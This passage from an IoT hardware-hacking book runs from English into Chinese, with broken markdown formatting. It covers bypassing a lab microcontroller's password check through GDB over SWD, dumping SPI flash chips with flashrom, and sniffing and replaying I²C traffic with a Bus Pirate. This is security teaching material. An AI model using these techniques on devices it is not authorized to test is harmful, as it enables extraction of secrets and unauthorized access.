55. ``` Because the debugging information recorded in the ELF binary informs GDB about what source files were used to build it, we can use the `list` command to print parts of the program’s source. You’ll rarely have this convenience in real reverse engineering scenarios, where you’ll have to rely on the `disassemble` command, which shows the assembly code instead. Here is the output of both commands: ``` (gdb) **l****ist** **validate****,** 55 void validate() { 56 Serial1.println(buf); 57 new_data = false; 58 59 if (strcmp(buf, "sock-raw.org") == 0) 60 Serial1.println("ACCESS GRANTED"); 61 else { 62 Serial1.println("Access Denied."); 63 Serial1.print("Login: "); 64 } (gdb) **disas****semble** **validate** Dump of assembler code for function validate(): 0x0800015c <+0>: push {r3, lr} 0x0800015e <+2>: ldr r1, [pc, #56] ; (0x8000198 <validate()+60>) 0x08000160 <+4>: ldr r0, [pc, #56] ; (0x800019c <validate()+64>) 0x08000162 <+6>: bl 0x80006e4 <Print::println(char const*)> 0x08000166 <+10>: ldr r3, [pc, #56] ; (0x80001a0 <validate()+68>) 0x08000168 <+12>: movs r2, #0 0x0800016a <+14>: ldr r0, [pc, #44] ; (0x8000198 <validate()+60>) 0x0800016c <+16>: ldr r1, [pc, #52] ; (0x80001a4 <validate()+72>) 0x0800016e <+18>: strb r2, [r3, #0] 0x08000170 <+20>: bl 0x8002de8 <strcmp> 0x08000174 <+24>: cbnz r0, 0x8000182 <validate()+38> 0x08000176 <+26>: ldr r0, [pc, #36] ; (0x800019c <validate()+64>) … ``` If you have only the assembly code, import the file (in this case *serial-simple.ino.elf*)into a decompiler like those that Ghidra or IDA Pro provide. This will help you tremendously, because it will translate the assembly code into C, which is much easier to read (Figure 7-18).  Figure 7-18: Using the decompiler in Ghidra to quickly read C code instead of assembly code If you have only the *hex* file (for example, the *firmware-serial.bin*) as a result of dumping the firmware from the flash memory, you’ll first have to disassemble it using the ARM toolchain like this: ``` $ **arm-none-eabi-objdump -D -b binary -marm -Mforce-thumb firmware-serial.bin > output.s** ``` The *output.s*`file will contain the assembly code.` ````Next, let’s look at how we can bypass our target’s simple authentication process. Allow normal execution of the program to continue by issuing the `continue` command (or `c` for short): ``` (gdb) **c****ontinue** Continuing. ``` The program is now waiting for serial input. Open the serial monitor from the Arduino IDE like we did on page 180, enter a sample password, like `test123`, and press ENTER. On the GDB terminal, you should see that the breakpoint for the `validate` function gets triggered. From then on, we’ll make GDB automatically display the next instruction to be executed each time the program stops by issuing the command `display/i $pc`. Then we’ll gradually step one machine instruction at a time using the `stepi` command until we reach the `strcmp` call. When we reach the `Print::println` call, we’ll use the `next` command to step over it, because it doesn’t concern us in this context (Listing 7-2). ``` Breakpoint 1, validate () at /home/ithilgore/Arduino/serial-simple/serial-simple.ino:55 55 void validate() { (gdb) **display/i $pc** 1: x/i $pc => 0x800015c <validate()>: push {r3, lr} (gdb) **stepi** halted: PC: 0x0800015e 56 Serial1.println(buf); 3: x/i $pc => 0x800015e <validate()+2>: ldr r1, [pc, #56] ; (0x8000198 <validate()+60>) (gdb) **stepi** halted: PC: 0x08000160 0x08000160 56 Serial1.println(buf); 1: x/i $pc => 0x8000160 <validate()+4>: ldr r0, [pc, #56] ; (0x800019c <validate()+64>) (gdb) **stepi** halted: PC: 0x08000162 0x08000162 56 Serial1.println(buf); 1: x/i $pc => 0x8000162 <validate()+6>: bl 0x80006e4 <Print::println(char const*)> (gdb) **next** halted: PC: 0x080006e4 57 new_data = false; 1: x/i $pc => 0x8000166 <validate()+10>: ldr r3, [pc, #56] ; (0x80001a0 <validate()+68>) (gdb) **stepi** halted: PC: 0x08000168 0x08000168 57 new_data = false; 1: x/i $pc => 0x8000168 <validate()+12>: movs r2, #0 (gdb) **stepi** halted: PC: 0x0800016a 59 if (strcmp(buf, "sock-raw.org") == 0) 1: x/i $pc => 0x800016a <validate()+14>:ldr r0, [pc, #44] ; (0x8000198 <validate()+60>) (gdb) **stepi** halted: PC: 0x0800016c 0x0800016c 59 if (strcmp(buf, "sock-raw.org") == 0) 1: x/i $pc => 0x800016c <validate()+16>: ldr r1, [pc, #52] ; (0x80001a4 <validate()+72>) (gdb) **stepi** halted: PC: 0x0800016e 57 new_data = false; 1: x/i $pc => 0x800016e <validate()+18>: strb r2, [r3, #0] (gdb) **stepi** halted: PC: 0x08000170 59 if (strcmp(buf, "sock-raw.org") == 0) 1: x/i $pc => 0x8000170 <validate()+20>: bl 0x8002de8 <strcmp> (gdb) **x/s $r0**1 0x200008ae <buf>: "test123" (gdb) **x/s $r1**2 0x8003a48: "sock-raw.org" ``` Listing 7-2: Stepping through our program’s validate function in GDB The last two GDB commands (`x/s $r0` 1 and `x/s $r1` 2) display the contents of the registers `r0` and `r1` as strings. These registers should hold the two arguments passed to the `strcmp()` Arduino function, because according to the ARM Procedure Call Standard (APCS), the first four arguments of any function are passed in the first four ARM registers `r0`, `r1`, `r2`, `r3`. That means the `r0` and `r1` registers hold the addresses of the string `test123` (which we supplied as a password) and the string of the valid password, `sock-raw.org`, against which it’s compared. You can display all the registers at any time in GDB by issuing the `info registers` command (or `i r` for short). We can now bypass authentication in multiple ways. The easiest way is to set the value of `r0` to `sock-raw.org` right before execution reaches the `strcmp()` call. You can easily do that by issuing the following GDB command: ``` set $r0=”sock-raw.org” ``` Alternatively, if we didn’t know the correct passphrase’s string value, we could bypass the authentication by fooling the program into thinking that `strcmp()` had succeeded. To do that, we’ll change the return value of `strcmp()` right after it returns. Notice that `strcmp()` returns 0 if it succeeds. We can change the return value using the `cbnz` command, which stands for *compare and branch on non-zero*. It checks the register in the left operand, and if it’s not zero, *branches*, or jumps, to the destination referenced in the right operand. In this case, the register is `r0` and it holds the return value of `strcmp()`: ``` 0x08000170 <+20>: bl 0x8002de8 <strcmp> 0x08000174 <+24>: cbnz r0, 0x8000182 <validate()+38> ``` Now we’ll step inside the `strcmp()` function by issuing another `stepi` when we reach it. Then we can step out of it by issuing a `finish` command. Immediately before the `cbnz` command executes, we’ll change the `r0` value to `0`, which indicates that `strcmp()` was successful: ``` (gdb) **stepi** halted: PC: 0x08002de8 0x08002de8 in strcmp () 3: x/i $pc => 0x8002de8 <strcmp>: orr.w r12, r0, r1 (gdb) **finish** Run till exit from #0 0x08002de8 in strcmp () 0x08000174 in validate () at /home/ithilgore/Arduino/serial-simple/serial-simple.ino:59 59 if (strcmp(buf, "sock-raw.org") == 0) 3: x/i $pc => 0x8000174 <validate()+24>: cbnz r0, 0x8000182 <validate()+38> (gdb) **set $r0=0** (gdb) **x/x $r0** 0x0: 0x00 (gdb) **c** Continuing. ``` When we do this, our program won’t branch to the memory address 0x8000182\. Instead, it will continue by executing the instructions immediately after `cbnz`. If you now let the rest of the program run by issuing a `continue` command, you’ll see an `ACCESS GRANTED` message in the Arduino serial monitor, indicating that you successfully hacked the program! There are even more ways to hack the program, but we’ll leave such experimentation as an exercise for you. ## Conclusion In this chapter, you learned how UART, JTAG, and SWD work and how you can exploit these protocols to gain complete access to a device. Most of the chapter walked through a practical exercise that used an STM32F103C8T6 (black pill) microcontroller as a target device. You learned how to code and flash a simple Arduino program that performs a very basic authentication routine through UART. Then you interfaced with the device using a USB-to-serial adapter. We leveraged an ST-Link programmer to access SWD on the target through OpenOCD and, finally, we used GDB to dynamically bypass the authentication function. Exploiting UART—and especially JTAG and SWD—almost always means that you can gain complete access to the device, because these interfaces were designed to give manufacturers full debugging privileges for testing purposes. Learn how to leverage them to their fullest potential and your IoT hacking journey will become much more productive!```` ````` `````` ``````` ```````` `````````
第八章:SPI 和 I²C

本章向你介绍了串行外设接口(SPI)和集成电路互联(I²C),这两种是物联网设备中常见的通信协议,这些设备使用微控制器和外设。如你在第七章中所学,有时仅仅连接像 UART 和 JTAG 这样的接口就能直接访问系统 shell,也许是制造商故意留下的。但是,如果设备的 JTAG 或 UART 接口需要身份验证呢?或者更糟的是,如果它们没有实现呢?在这些情况下,你仍然可能会找到像 SPI 和 I²C 这样的旧协议,它们内建于微控制器中。
在本章中,你将使用 SPI 从 EEPROM 和其他闪存芯片中提取数据,这些芯片通常包含固件和其他重要机密信息,如 API 密钥、私密密码短语和服务端点。你还将构建自己的 I²C 架构,然后练习嗅探并操控其串行通信,迫使外设执行某些操作。
与 SPI 和 I²C 通信的硬件
要与 SPI 和 I²C 通信,你需要一些特定的硬件。如果你愿意从电路板上拆卸芯片,你可以使用 EEPROM/闪存芯片的分路板或编程器(但这应该是最后的手段)。但如果你不想拆卸电路板上的任何东西,你可以使用测试钩夹或小外形集成电路(SOIC)夹,这些都便宜且方便。
本章的 SPI 项目中,你需要一个八针 SOIC 夹线电缆或钩形夹子来连接闪存芯片。SOIC 夹(图 8-1)可能比较难用,因为在将夹子连接到芯片时,你需要完美对齐引脚。对于一些人来说,钩形夹子可能会更合适。

图 8-1:八针 SOIC 电缆
你还需要一个 USB 转串行接口。虽然你可以使用第七章中使用的适配器,但我们推荐使用总线海盗(dangerousprototypes.com/docs/Bus_Pirate),这是一款强大的开源设备,支持多种协议。它内置了适用于物联网攻击的宏命令,包括 I²C 和许多其他协议的扫描和嗅探功能。你还可以尝试一些更昂贵的工具,它们可以解析 I²C 消息的更多格式,比如 Beagle(www.totalphase.com/products/beagle-i2cspi/)或 Aardvark(www.totalphase.com/products/aardvark-i2cspi/)。在本章中,你将学习如何使用总线海盗的内置宏命令执行常见的攻击。
此外,要在本章后续进行 I²C 实验,你将需要一个 Arduino Uno (store.arduino.cc/usa/arduino-uno-rev3/),至少一个 BlinkM LED (www.sparkfun.com/products/8579/),一个面包板以及一些跳线。
你也可以使用帮助工具(如 Helping Hands)来帮助你固定多个硬件部件。它们的价格范围较广。有关工具的完整清单,以及它们的一些优缺点的描述,请参考《物联网黑客工具》一章。
SPI
SPI 是一种在外设和微控制器之间传输数据的通信协议。它广泛应用于 Raspberry Pi 和 Arduino 等流行硬件,是一种 同步通信协议,这意味着它比 I²C 和 UART 传输数据更快。通常,它用于短距离通信场景,在那些读写速度至关重要的地方,比如以太网外设、LCD 显示器、SD 卡读卡器以及几乎所有物联网设备上的存储芯片。
SPI 工作原理
SPI 使用四根线路来传输数据。在全双工模式下,当数据在两个方向上同时传输时,它依赖于控制器-外设架构。在这种架构中,作为 控制器 的设备生成并控制时钟,调节数据传输,所有作为 外设 的设备则监听并发送消息。SPI 使用以下四条线路(不包括地线):
-
控制器输入,外设输出 (CIPO) 用于外设向控制器发送的消息
-
控制器输出,外设输入 (COPI) 用于控制器向外设发送的消息
-
串行时钟 (SCK) 用于指示设备何时应该读取数据线的振荡信号
-
芯片选择 (CS) 用于选择应该接收通信的外设
请注意,与 UART 不同,SPI 使用独立的线路来发送和接收数据(分别为 COPI 和 CIPO)。还要注意,实现 SPI 所需的硬件比 UART 更便宜、更简单,并且能够达到更高的数据传输速率。正因为这些原因,许多物联网领域使用的微控制器都支持 SPI。你可以在 learn.sparkfun.com/tutorials/serial-peripheral-interface-spi/all/. 上了解更多关于 SPI 实现的信息。
使用 SPI 转储 EEPROM 闪存芯片
闪存芯片通常包含设备的固件以及其他重要的机密信息,因此从中提取数据可能会发现有趣的安全问题,例如后门、加密密钥、秘密账户等。要定位物联网设备中的内存芯片,打开其外壳并取下 PCB。
确定芯片和引脚
找到你设备的闪存芯片。经过安全加固的产品通常会删除设备上的芯片标签,但闪存芯片通常有 8 或 16 个引脚。你也可以通过查找微控制器的数据手册来找到芯片,就像我们在第七章中做的那样。数据手册应包含一张显示引脚配置和描述的图表。数据手册还可能包含确认芯片是否支持 SPI 的信息。其他信息,如协议版本、支持的速度和存储大小,在配置与 SPI 交互的工具时也非常有用。
一旦你识别出内存芯片,找到芯片一个角落上的小点,它标示了引脚 #1(见图 8-2)。

图 8-2: 闪存芯片
现在,将八引脚 SOIC 电缆的第一个引脚连接到引脚 #1。SOIC 夹具的第一个引脚通常与其他引脚颜色不同,便于识别。使用从数据手册中获取的引脚配置来正确对齐其余的 SOIC 垫片。图 8-3 显示了一个常见的对齐方式。例如,WinBond 25Q64 闪存芯片就使用这种对齐方式。

图 8-3: 内存芯片的引脚配置图
当你将 SOIC 夹具的所有部分连接到闪存芯片时,设置应该像图 8-4 所示。连接 SOIC 夹具时要小心,因为你很容易损坏引脚。

图 8-4: SOIC 夹具连接到闪存芯片
如果你在对齐垫片时遇到困难,测试钩夹(见图 8-5)也能派上用场;你可能会发现它们更容易连接。

图 8-5: 钩夹连接到 SPI 引脚
与 SPI 芯片通信
你需要一个 USB 到串行适配器来读取内存芯片的内容。我们在这个示例中使用总线海盗,但你也可以使用任何适配器,因为大多数适配器都支持读取操作。如果使用总线海盗,请确保将其固件升级到最新的稳定版本。
确保你正在提取内存的设备已关闭电源,然后进行连接。使用 SOIC 夹具连接总线海盗的引脚和芯片的引脚,如数据手册所示。例如,我们将按照表 8-1 中所示连接 WinBond 25Q64 芯片的引脚。
表 8-1: 引脚连接
| 设备/总线海盗 |
|---|
| 引脚 #1 (CS) → CS |
| 引脚 #2 (DO) → CIPO (MISO) |
| 引脚 #4 (GND) → GND |
| 引脚 #5 (DI) → COPI (MOSI) |
| 引脚 #6 (CLK) → CLK |
| 引脚 #8 (VCC) → 3V3 |
当你完成连接时,连接应该像图 8-6 中所示。

图 8-6: 总线海盗通过钩夹连接到 SPI 芯片。我们使用了帮助工具来固定不同的组件。
现在,在您将读取其存储器的设备关闭电源的情况下,将 Bus Pirate 的 USB 电缆连接到计算机上。您可以使用flashrom Linux 实用程序测试与 SPI 芯片的通信,该实用程序可以从flashrom.org/Flashrom(或大多数包管理器)下载。以下命令将识别内存芯片组:
*#***flashrom -p buspirate_spi:dev=/dev/**`ttyUSB0`
确保您用 USB 到串行适配器分配的设备描述符替换ttyUSB0。通常会是类似于ttyUSBls /dev/tty*命令查看系统上的描述符。该实用程序将识别 SPI 芯片或返回消息未找到 EEPROM/闪存设备。
读取内存芯片内容
一旦与芯片建立了通信,您就可以执行读操作来获取其内容。使用以下flashrom命令发出读操作:
# flashrom **-p** **buspirate_****spi:dev****=/dev/**`ttyUSB0` **-r** **out.bin**
-r标志发出将内容保存在指定文件中的读操作。-p标志指定适配器的名称。在此上下文中,Bus Pirate 的名称是buspirate_spi,但如果您使用其他适配器,则应更改此名称。您应该看到类似以下的输出:
Found Winbond flash chip “W25Q64.V” (8192 kB, SPI).
Block protection is disabled.
Reading flash…
命令运行完成后,输出文件应与命令输出中列出的芯片存储大小匹配。对于这个芯片组,它是 8MB。
或者,您可以使用来自 libmpsse 的流行spiflash.py脚本获取芯片的内容。从github.com/devttys0/libmpsse/下载该库,这是由 devttys0 创建的,然后编译并安装它:
# cd libmpsse
# ./configure && make
# make install
如果一切正常,您应该能够运行spiflash.py。为确保工具正确检测到芯片并且所有引脚连接正确,执行spiflash.py并查看输出中的芯片组名称。要提取存储在芯片中的内存,请输入以下命令:
# spiflash.py -r **out.bin** **-s** ***<size to read>***
例如,要读取 8MB,请运行以下命令:
# spiflash.py -r **out.bin** **-s $((0x800000))**
如果您不知道要提取的闪存存储器的大小,请选择一个足够大以容纳整个闪存内容的随机值。
现在您已提取了闪存,可以运行strings实用程序开始查看信息,或者使用 binwalk 等工具进行进一步分析。您可以在第九章了解更多有关固件安全测试的信息。
I²C
发音为“I squared C”,I²C是一种用于低速设备的串行通信协议。菲利浦半导体在 1980 年代开发了 I²C,用于同一电路板上组件之间的通信,但您也可以在通过电缆连接的组件之间使用它。在物联网世界中,您经常会在微控制器、键盘和按钮等 I/O 接口、常见家庭和企业设备以及各种类型的传感器中找到它。至关重要的是,许多工业控制系统(ICS)中的传感器甚至使用 I²C,因此其利用非常重要。
该协议的主要优点是其简单性。与 SPI 使用的四条线路不同,I²C 具有两线接口。此外,该协议允许没有内置 I²C 支持的硬件通过通用 I/O 引脚使用 I²C。但由于其简单性,以及所有数据都通过同一总线传输,它也成为了一个容易被窃听或注入数据的目标。原因在于 IoT 设备之间共享同一 I²C 总线时,组件之间没有进行认证。
I²C 工作原理
I²C 的简单性允许硬件交换数据,而无需严格的速度要求。该协议使用三条线路:串行数据线(SDA)用于传输数据,串行时钟线(SCL)用于确定数据何时读取,以及地线(GND)。SDA 和 SCL 线路连接到外设,它们是 开漏驱动器,意味着这两条线路需要连接到电阻器。(每条线路只需要一个电阻器,而不是每个外设一个。)电压从 1.8 V、3.3 V 和 5.0 V 不等,传输可以以四种不同的速度进行:100 kHz,即 I²C 规范中的初始速度;400 kHz,即快速模式;1 MHz,即高速模式;和 3.2 MHz,即超高速模式。
像 SPI 一样,I²C 使用控制器-外设配置。组件通过 SDA 线路逐位传输数据,按八位序列进行传输。控制器或多个控制器管理 SCL 线路。I²C 架构支持多个控制器和一个或多个外设,每个外设都有唯一的地址用于通信。表 8-2 显示了从控制器发送到外设的消息结构。
表 8-2:通过 SDA 发送到外设的 I²C 消息
| 启动 | I²C 地址(7 位或 10 位) | 读/写位 | ACK/NACK 位 | 数据(8 位) | ACK/NACK 位 | 数据(8 位) | 停止 |
|---|
控制器以启动条件开始每条消息,表示消息的开始。然后它发送外设的地址,通常为 7 位长,但也可以长达 10 位。这允许最多 128 个(如果使用 7 位地址)或 1024 个(如果使用 10 位地址)外设在同一总线上。控制器还会附加一个读/写位,指示执行何种操作。一个 ACK/NACK 位指示接下来数据段的类型。SPI 将实际数据分为八位序列,每个序列后跟一个 ACK/NACK 位。控制器通过发送停止条件来结束消息。有关协议的更多信息,请访问 www.i2c-bus.org/.
如前所述,I²C 协议支持多个控制器在同一总线上。这一点非常重要,因为通过连接到总线,我们可以充当另一个控制器,然后读取和发送数据到外设。在下一节中,我们将设置我们自己的 I²C 总线架构,以便可以实现这一目标。
设置控制器-外设 I²C 总线架构
为了演示如何嗅探 I²C 通信并向总线上的外设写入数据,让我们通过以下开源硬件的帮助设置一个经典的控制器-外设架构:
-
Arduino Uno 微控制器(
store.arduino.cc/usa/arduino-uno-rev3/)*作为控制器。 -
一个或多个 BlinkM I²C 控制的 RGB LED(
www.sparkfun.com/products/8579/)作为外设。你可以在thingm.com/products/blinkm/找到完整的 BlinkM 文档,包括其他编程方法的示例。
我们选择使用 Arduino Uno,因为它用于 SDA 和 SCL 的模拟引脚内置了电阻,因此我们不需要在电路中添加上拉电阻。同时,这也使我们能够使用 Arduino 的官方Wire库来管理 I²C 总线作为控制器,并向 I²C 外设发送命令。表 8-3 列出了支持 I²C 的 Arduino Uno 模拟引脚。
表 8-3:用于 I²C 通信的 Arduino Uno 引脚
| Arduino 模拟引脚 | I²C 引脚 |
|---|---|
| A2 | GND |
| A3 | PWR |
| A4 | SDA |
| A5 | SCL |
识别 Arduino Uno 上的 A2、A3、A4 和 A5 引脚,然后将公对公的杜邦线连接到它们,如图 8-7 所示。

图 8-7:Arduino Uno 的模拟引脚位于右下角。
接下来,通过检查每个引脚顶部的标签,识别 BlinkM LED 上的 GND(-)、PWR(+)、SDA(d)和 SCL(c)引脚,如图 8-8 所示。

图 8-8:BlinkM 的 GND、PWR、数据和时钟引脚已清晰标注。
现在,使用面包板将 BlinkM LED 和电缆连接到 Arduino 上的相应引脚,如所述。
表 8-4:Arduino/BlinkM 连接
| Arduino Uno/BlinkM RGB LED |
|---|
| 引脚 A2(GND)→ PWR - |
| 引脚 A3(PWR)→ PWR + |
| 引脚 A4(SDA)→ d(数据) |
| 引脚 A5(SCL)→ c(时钟) |
图 8-9 展示了这些连接。

图 8-9:我们可以在没有电阻的情况下连接 SDA 和 SCL,因为 Arduino 引脚包括内置电阻。
如果你有多个 I²C 外设,将它们连接到相同的 SDA 和 SCL 线路上。为 SDA 选择面包板上的一条线路,为 SCL 选择另一条线路;然后将设备连接到这些线路。例如,图 8-10 展示了两个连接的 BlinkM。相同类型的 BlinkM LED 默认情况下都配有相同的 I²C 地址(0x09),该地址是可编程的,如产品数据表中所示,数据表可在www.infinite-electronic.kr/datasheet/e0-COM-09000.pdf获取。(这说明了为什么你应该始终查阅数据表,如果它可用;你找到的信息可能会帮助你节省反向工程的时间。在黑盒评估中,你可能不会那么幸运。)

图 8-10:一个 I²C 总线最多支持 128 个带有 7 位地址的外设。
一旦你连接好控制器(Arduino)和外设(BlinkM LED),就可以编写程序让 Arduino 加入总线并向外设发送一些命令。我们将使用 Arduino IDE 来编写程序。有关 Arduino 的介绍以及安装说明,请参见第七章。在 IDE 中,通过点击工具▶板子▶Arduino/Genuino UNO来选择你使用的 Arduino 板子,然后上传清单 8-1 中的代码。
#include <Wire.h>
void setup() {
1 pinMode(13, OUTPUT); //Disables Arduino LED
pinMode(A3, OUTPUT); //Sets pin A3 as OUTPUT
pinMode(A2, OUTPUT); //Sets pin A2 as OUTPUT
digitalWrite(A3, HIGH); //A3 is PWR
digitalWrite(A2, LOW); //A2 is GND
2 Wire.begin(); // Join I²C bus as the controller
}
byte x = 0;
void loop() {
3 Wire.beginTransmission(0x09);4 Wire.write('c');
Wire.write(0xff);
Wire.write(0xc4);
5 Wire.endTransmission();
x++;
delay(5000);
}
清单 8-1:将管理 BlinkM RGB LED 的 I²C 控制器代码
这段代码配置了 Arduino 引脚以进行 I²C 通信 1,作为控制器加入 I²C 总线 2,并通过循环定期向地址为 0x09 的外设发送消息 3。消息中包含点亮 LED 的命令 4。你可以在 BlinkM 的数据表中找到这些命令的详细描述。最后,代码发送一个 STOP 序列,表示消息的结束 5。
现在将 Arduino Uno 连接到计算机,以为电路供电并上传你的代码。BlinkM RGB LED 应接收命令并相应地闪烁(图 8-11)。

图 8-11:BlinkM LED 通过 I²C 接收来自 Arduino Uno 的信号
使用 Bus Pirate 攻击 I²C
让我们将 Bus Pirate 连接到 I²C 总线并开始嗅探通信。Bus Pirate 的固件内置了对 I²C 的支持。它还提供了一些有用的宏,供我们分析和攻击 I²C 通信。
我们将使用 Bus Pirate 上的以下引脚:COPI(MOSI),它对应于 I²C 的 SDA 引脚;CLK,它对应于 SCL 引脚;以及 GND。通过跳线将这三条线路从 Bus Pirate 连接到 I²C 总线(表 8-5)。
表 8-5:从 Bus Pirate 到 I²C 总线的连接
| Bus Pirate/面包板 |
|---|
| COPI (MOSI) → SDA |
| CLK → SCL |
| GND → GND |
一旦所有引脚都连接好,将总线 Pirate 插入计算机。要与其交互,您需要通过默认速度 115,200 波特率将其连接到串行通信(COM)端口。在 Linux 上,可以使用 screen 或 minicom 实用工具来完成此操作:
$ **screen /dev/**`ttyUSB0` **115200**
在 Windows 上,打开设备管理器查看 COM 端口号。然后使用 PuTTY,按照图 8-12 中的配置进行设置。

图 8-12:配置 PuTTY 以连接到总线 Pirate
设置完 PuTTY 配置后,点击 Open。此时,您应该已经建立了连接。
检测 I²C 设备
要列举所有连接到总线的 I²C 设备,请使用总线 Pirate 的 I²C 库搜索整个地址空间。这将列出所有连接的 I²C 芯片,以及未记录的访问地址。我们首先使用 m 命令设置总线 Pirate 的模式:
I2C>**m**
1\. HiZ
2\. 1-WIRE
3\. UART
4\. I2C
5\. SPI
6\. 2WIRE
7\. 3WIRE
8\. LCD
9\. DIO
x. exit(without change)
选择 4 来选择 I²C 模式,然后设置所需的速度:
(1)>**4**
Set speed:
1\. ~5KHz
2\. ~50KHz
3\. ~100KHz
4\. ~400KHz
(1)>**4**
Ready
我们设置了 4,对应大约 400 kHz,即 I²C 快速速率,因为控制器 Arduino Uno 以该速度运行。
I²C 库支持两个宏。第一个是 地址搜索宏,它将自动尝试每个 I²C 地址。然后它会查找响应,以确定连接了多少外设,并检查是否可以使用其他地址,例如广播地址。通过输入 (1) 宏命令执行该宏:
I2C>**(****1)**
Searching I2C address space. Found devices at:
0x00(0x00 W) 0xFF(0x7F R)
此宏显示地址,后跟 7 位地址以及一个比特位,指示该地址是用于读取还是写入。在这种情况下,我们看到地址 0x00(W),这是 BlinkM 广播地址,和 0x7F,属于 BlinkM LED。
嗅探和发送消息
内置于总线 Pirate I²C 库中的第二个宏是嗅探器。此宏显示所有 START/STOP 序列、ACK/NACK 比特和通过 I²C 总线共享的数据。同样,我们需要将总线 Pirate 设置为 I²C 模式,选择速度,然后使用命令 (2) 执行第二个宏:
I2C>**(****2)**
Sniffer
Any key to exit
[0x12][0x12+0x63+]][0x12+0x63+0xFF+0xC4+][0x12+0x63+]][0x12+0x63+]][0x12+0x63+]][0x12+0x63+]][0x12+0x63+0xFF+0xC4+][0x12+0x63+0xFF+0xC4+][0x12+0xC6-0xFD-][0x12+0x63+0xFF+]]
捕获的数据以总线 Pirate 用于 I²C 的消息格式显示在屏幕上,允许我们复制并粘贴该消息以进行重播(如果需要)。表 8-6 显示了总线 Pirate 用于表示 I²C 字符的语法。
表 8-6:总线 Pirate 符号对应的 I²C 消息组件
| I²C 字符 | 总线 Pirate 符号 |
|---|---|
| START 序列 | [ 或 { |
| STOP 序列 | ] 或 } |
| ACK | + |
| NACK | - |
通过将嗅探器数据与 Arduino Uno 发送的数据进行对比,验证嗅探器是否工作正常。
现在,要向总线上任何外设发送数据,可以直接在总线 Pirate 提示符中输入消息,或复制任何您想要重播的消息。我们可以看到更改颜色的命令结构,通过查看数据表,我们可以推断其结构。现在我们可以通过重播该命令来进行测试:
I2C>**[0x12+0x63+0xFF+0xC4+]**
I2C START BIT
WRITE: 0x12 NACK
WRITE: 0x63 NACK
WRITE: 0xFF NACK
WRITE: 0xC4 NACK
I2C STOP BIT
输出显示了你在总线上写入的序列比特和数据。分析你自己设备上的总线流量,以识别模式,然后尝试发送你自己的命令。如果你使用了本章中展示的 I²C 总线演示,可以在 BlinkM 的数据表中找到更多有效的命令。
重放此命令的风险相对较低;我们只是以模式闪烁灯光。但在现实世界的攻击中,你可以使用相同的技术来写入 MAC 地址、标志或出厂设置,包括序列号。采用与我们在这里使用的相同方法,你应该能够识别任何 IoT 设备上的 I²C 总线,然后分析组件之间的通信,以读取和发送你自己的数据。此外,由于该协议的简单性,几乎所有类型的设备都可能会使用它。
结论
本章中,你了解了两种在 IoT 设备硬件层面上最常见的协议:SPI 和 I²C。高速外设很可能实现 SPI,而 I²C 甚至可以在那些设计上没有嵌入 I²C 的微控制器中实现,原因在于它的简单性和低廉的硬件要求。我们讨论的技术和工具可以帮助你拆解设备并分析它们,以了解其功能并识别安全弱点。在本章中,我们使用了 Bus Pirate,这是许多用于与 SPI 和 I²C 交互的优秀工具之一。这个开源板卡对大多数 IoT 通信协议提供了强大的支持,包括内置宏来分析和攻击各种 IoT 设备。
第九章:固件黑客攻击

固件是将设备硬件层与其主要软件层连接起来的软件部分。设备中这一部分的漏洞可能会对所有设备功能产生巨大影响。因此,识别并减轻固件漏洞对保障物联网设备安全至关重要。
本章将探讨什么是固件,以及如何获取它并分析其中的漏洞。我们首先通过在固件的文件系统中查找用户凭据开始。接着,我们将模拟固件的部分已编译二进制文件,以及整个固件,进行动态分析。我们还将修改一个公开可用的固件,添加一个后门机制,并讨论如何发现存在漏洞的固件更新服务。
固件与操作系统
固件是一种软件,它提供设备硬件组件的通信与控制。它是设备运行的第一段代码。通常,固件启动操作系统,并通过与各种硬件组件的通信,提供非常特定的运行时服务供程序使用。大多数电子设备都有固件,甚至可以说没有例外。
尽管固件是比操作系统更简单、更可靠的软件部分,但它也更具限制性,并且设计上仅支持特定硬件。相比之下,许多物联网设备运行的操作系统异常先进且复杂,支持大量产品。例如,基于微软 Windows 的物联网设备通常使用 Windows 10 IoT Core、Windows Embedded Industry(也称为 POSReady 或 WEPOS)以及 Windows Embedded CE 等操作系统。基于嵌入式 Linux 变种的物联网设备通常使用如 Android Things、OpenWrt 和 Raspberry Pi OS 等操作系统。另一方面,旨在处理具有特定时间约束和无缓冲延迟的实时应用程序的物联网设备,通常基于实时操作系统(RTOS),如 BlackBerry QNX、Wind River VxWorks 和 NXP MQX mBed。此外,设计上支持简单基于微控制器应用程序的“裸机”物联网设备,通常直接在硬件上执行汇编指令,而不使用复杂的操作系统调度算法来分配系统资源。尽管如此,这些实现每一种都有其与兼容启动程序的启动顺序。
在较为简单的物联网设备中,固件可能充当操作系统的角色。设备将固件存储在非易失性存储器中,如 ROM、EPROM 或闪存。
检查固件并尝试修改它非常重要,因为在此过程中,我们可以发现许多安全问题。用户通常会修改固件以解锁新功能或进行个性化定制。但攻击者也可以通过相同的手段,更好地理解系统的内部工作原理,甚至利用安全漏洞。
获取固件
在你进行固件逆向工程之前,你必须找到一种方法来访问固件。通常,依据设备的不同,会有多种方法。在本节中,我们将根据 OWASP 固件安全测试方法论(FSTM)介绍最常用的固件提取方法,你可以在scriptingxss.gitbook.io/firmware-security-testing-methodology/找到相关内容。
通常,找到固件的最简单方法是浏览供应商的支持网站。一些供应商会将其固件公开,以简化故障排除。例如,网络设备制造商 TP-Link 在其网站上提供了来自路由器、摄像头和其他设备的固件文件库。
如果特定设备的固件未公开,可以尝试向供应商索要。有些供应商可能会直接提供固件。你可以直接联系开发团队、制造商或供应商的其他客户。确保你始终验证你联系的人是否获得了供应商的许可来分享固件给你。尝试获取开发版和发布版固件是值得的。这样做将使你的测试更加有效,因为你可以看到两个版本之间的差异。此外,一些保护机制可能会在开发版中被移除。例如,Intel RealSense 在dev.intelrealsense.com/docs/firmware-releases/提供其摄像头的生产和开发固件。
有时候,你可能需要手动构建固件。对于某些人来说,这是一个令人畏惧的操作,但解决方案就是解决方案。固件源代码可能是公开的,尤其是在开源项目中。在这些情况下,按照制造商发布的操作步骤和说明,可能可以构建固件。第六章中使用的 OpenWrt 操作系统就是一个这样的开源固件项目,主要应用于嵌入式设备中进行网络流量路由。例如,GL.iNet 路由器的固件基于 OpenWrt。
